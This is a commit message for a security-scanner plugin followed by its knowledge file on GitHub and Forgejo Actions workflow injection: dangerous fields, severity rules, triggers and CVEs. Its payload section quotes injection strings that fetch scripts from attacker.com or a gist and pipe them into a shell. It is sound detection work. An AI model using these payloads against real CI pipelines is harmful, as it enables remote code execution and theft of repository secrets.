The seven-category signal lists in agents/skill-scanner-agent.md move to knowledge/skill-threat-patterns.md § Detection Rules. The agent keeps its procedure, severity table, verdict logic and output format, plus a pointer, and now says to report an unreadable knowledge file instead of scanning from memory (a remembered subset reports clean for rules it never applied). Chose the existing file over a new one because every command that invokes the agent (scan, audit, clean, plugin-audit) already passes <plugin-root>/knowledge/skill-threat-patterns.md explicitly; a new file would have needed four command edits to reach the agent at all. Why (v8.1.0 AV surface): a clean SKILL.md was quarantined as Trojan:Script/Wacatac.H!ml; a quarantine on agents/*.md breaks the installed plugin, not just a clone. Move measured lossless: the only line-level differences are the two intended rewrites and headings. Also in this commit, rewritten as descriptions or with a <shell> placeholder for the interpreter (no technique removed): - posture-assessor-agent: hook-coverage item and override phrases - deep-scan-synthesizer-agent: example decoded message - commands/red-team.md: scenario table cell - knowledge/*.md: 15 runnable download-into-shell one-liners, the "Decodes to" line first; fenced examples keep their exact shape with <shell>, prose and tables become sentences. Probe (e): 8 -> 3 (the three left are hook-script lines behind the path guard). knowledge: 17 -> 2 (attack-scenarios.json, the red-team simulator's input; left on purpose). claude plugin validate . passes; agent frontmatter untouched, all six agents parse. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
7.1 KiB
Workflow Injection Patterns (E11)
Knowledge file for scanners/workflow-scanner.mjs. Covers GitHub
Actions and Forgejo Actions ${{ <expr> }} injection sinks inside
run: step blocks. Sourced from
.claude/projects/2026-04-29-batch-c-scope-finalize/research/01-github-forgejo-actions-injection.md
(confidence 0.92, 51 sources).
Canonical 23-field blacklist
The community has converged on a blacklist (zizmor #1878) rather than a
whitelist of safe fields. The 23 fields below are the v7.3.0 baseline —
GitHub Security Lab's canonical 17-field list plus 6 GlueStack-class
additions. All patterns match both github.* and forgejo.* prefixes
(Forgejo aliases github.* to forgejo.* per its Reference docs).
GHSL canonical 17
github.event.issue.title
github.event.issue.body
github.event.pull_request.title
github.event.pull_request.body
github.event.pull_request.head.ref
github.event.pull_request.head.label
github.event.pull_request.head.repo.default_branch
github.event.comment.body
github.event.review.body
github.event.commits.*.message
github.event.commits.*.author.email
github.event.commits.*.author.name
github.event.head_commit.message
github.event.head_commit.author.email
github.event.head_commit.author.name
github.event.pages.*.page_name
github.head_ref
GlueStack-class additions (v7.3.0)
github.event.discussion.title # CVE-2025-53104
github.event.discussion.body # CVE-2025-53104
github.event.discussion.user.login # CVE-2025-53104
github.event.inputs.* # workflow_dispatch — string inputs only
github.event.client_payload.* # repository_dispatch
inputs.* # bare `inputs.<name>` (action-side / reusable workflow)
Severity matrix
| Tier | Field class | Trigger context | Severity |
|---|---|---|---|
| Privileged trigger | dangerous | pull_request_target, issue_comment, discussion, discussion_comment, workflow_run |
HIGH |
| Semi-privileged trigger | dangerous | pull_request, workflow_dispatch, repository_dispatch |
MEDIUM |
| Other / no trigger info | dangerous | (default fallback) | MEDIUM |
| Numeric / hex / fixed-string | safe | any | INFO (suppressed in summary) |
| Sink mismatch | (any) | if:, with:, env: (block-level), name:, runs-on:, timeout-minutes: |
NOT injection — suppressed at parser level |
Safe fields (INFO-only, never injection sinks)
github.event.pull_request.number # integer
github.event.pull_request.head.sha # 40-char hex
github.run_id # server-assigned int
github.run_number # int
github.sha # 40-char hex
github.event.action # fixed string ("opened" / "closed" / …)
github.event.repository.full_name # admin-controlled
Trigger taxonomy
Privileged (HIGH-severity matrix)
pull_request_target— runs on the BASE repo, has write tokens. The canonical "pwn-request" trigger.issue_comment— fires on any new issue/PR comment. Attacker-suppliedcomment.bodyis shell-injectable.discussionanddiscussion_comment— same shape asissue_comment, but the Discussion fields evade older zizmor whitelists. CVE-2025-53104 (gluestack) used${{ github.event.discussion.title }}.workflow_run— chained workflow trigger. Inherits BASE repo privileges. NOT documented for Forgejo Actions; Forgejo scans treat it as privileged for severity but emit a stderr advisory.
Semi-privileged (MEDIUM-severity matrix)
pull_request— read-only token from forks; still injectable, just less catastrophic.workflow_dispatch— manual trigger with stringinputs.*; CVE-2026-35580 (NSA Emissary) used this.repository_dispatch— webhook-driven trigger withclient_payload.*.
Sink restriction
Only run: step content (single-line or block-scalar | / >) is a
shell injection sink. The runner expression engine evaluates expressions
inside:
if:— boolean evaluation, no shell. (actionlint #443.)with:— passed to action input; downstream action's responsibility.env:(any level) — bound to env var; safe IF consumed via$VARin the run script. Re-interpolation${{ env.VAR }}insiderun:cancels the mitigation (Appsmith CVE GHSL-2024-277).
The scanner suppresses findings whose parent is one of these contexts. The re-interpolation pattern is detected separately in B4.
Forgejo divergences
| Item | GitHub | Forgejo | Scanner implication |
|---|---|---|---|
| Primary context | github.* |
forgejo.* (alias github.*) |
Match both prefixes |
Job-level permissions: |
Enforced | Ignored | Recommendation text mentions Forgejo's server-level token scoping instead |
workflow_run trigger |
Supported | Likely unsupported | Stderr advisory emitted; severity logic still applies |
| OIDC | permissions: id-token: write |
enable-openid-connect |
Out of scope for E11 |
The scanner detects platform from file path (.forgejo/workflows/ →
forgejo, .github/workflows/ → github). Both directories are scanned
independently when both exist; there is no fallback from one to the
other (documented design choice — the v7.3.0 plan locked this in to
avoid over-confident mitigation guidance for Forgejo).
Real-world payload shapes (v7.3.0 reference)
${IFS}brace-expansion (Ultralytics CVE-2024):openimbot:$({curl,-sSfL,raw...}${IFS}|${IFS}bash)- Quote-break + curl (ultralytics GHSA-7x29-qqmq-v6qc):
Hacked";{curl,-sSfL,gist...}${IFS}|${IFS}bash - Discussion title
$()substitution (gluestack CVE-2025-53104):$(curl -sSfL attacker.com/exfil.sh | <shell>) workflow_dispatchshell-break (Emissary CVE-2026-35580):1.0.0"; curl attacker.com/backdoor.sh | <shell>; echo "
Single-quote shell escaping provides ZERO protection — template substitution happens BEFORE shell parsing (Ken Muse, Appsmith CVE).
Confirmed CVE corpus (NVD / vendor-confirmed)
- CVE-2023-49291 — tj-actions/branch-names ≤7.0.6 (HIGH 9.3)
- CVE-2025-30066 — tj-actions/changed-files (HIGH 8.6, CISA KEV)
- CVE-2025-30154 — reviewdog/action-setup v1 (HIGH 8.6, CISA KEV)
- CVE-2025-53104 — gluestack-ui (CRITICAL 9.1, Discussion vector)
- CVE-2025-61671 — Microsoft Symphony (CRITICAL 9.3)
- CVE-2026-33475 — langflow-ai/langflow (CRITICAL 9.1)
- CVE-2026-35580 — NSA Emissary (CRITICAL 9.x, April 2026)
- CVE-2026-3854 — GitHub.com / GHES ≤3.19.2 platform-level (HIGH 8.7)
The April 2026 elementary-data PyPI compromise (Gemini second opinion)
is on a watch-list pending NVD/StepSecurity confirmation.
Out of scope (deferred to Batch D / v8.0.0)
- Composite-action input tracing
- Reusable-workflow call analysis
GITHUB_ENVpoisoning detection (LegitSecurity, CodeQLactions-envvar-injection-critical)- Zombie-workflow scanning across non-default branches
- IssueOps TOCTOU (SHA at comment time vs review time)
- Authorization-bypass class for
github.actorchecks (Synacktiv 2023 Dependabot spoofing) — added in B4 as a separate finding category.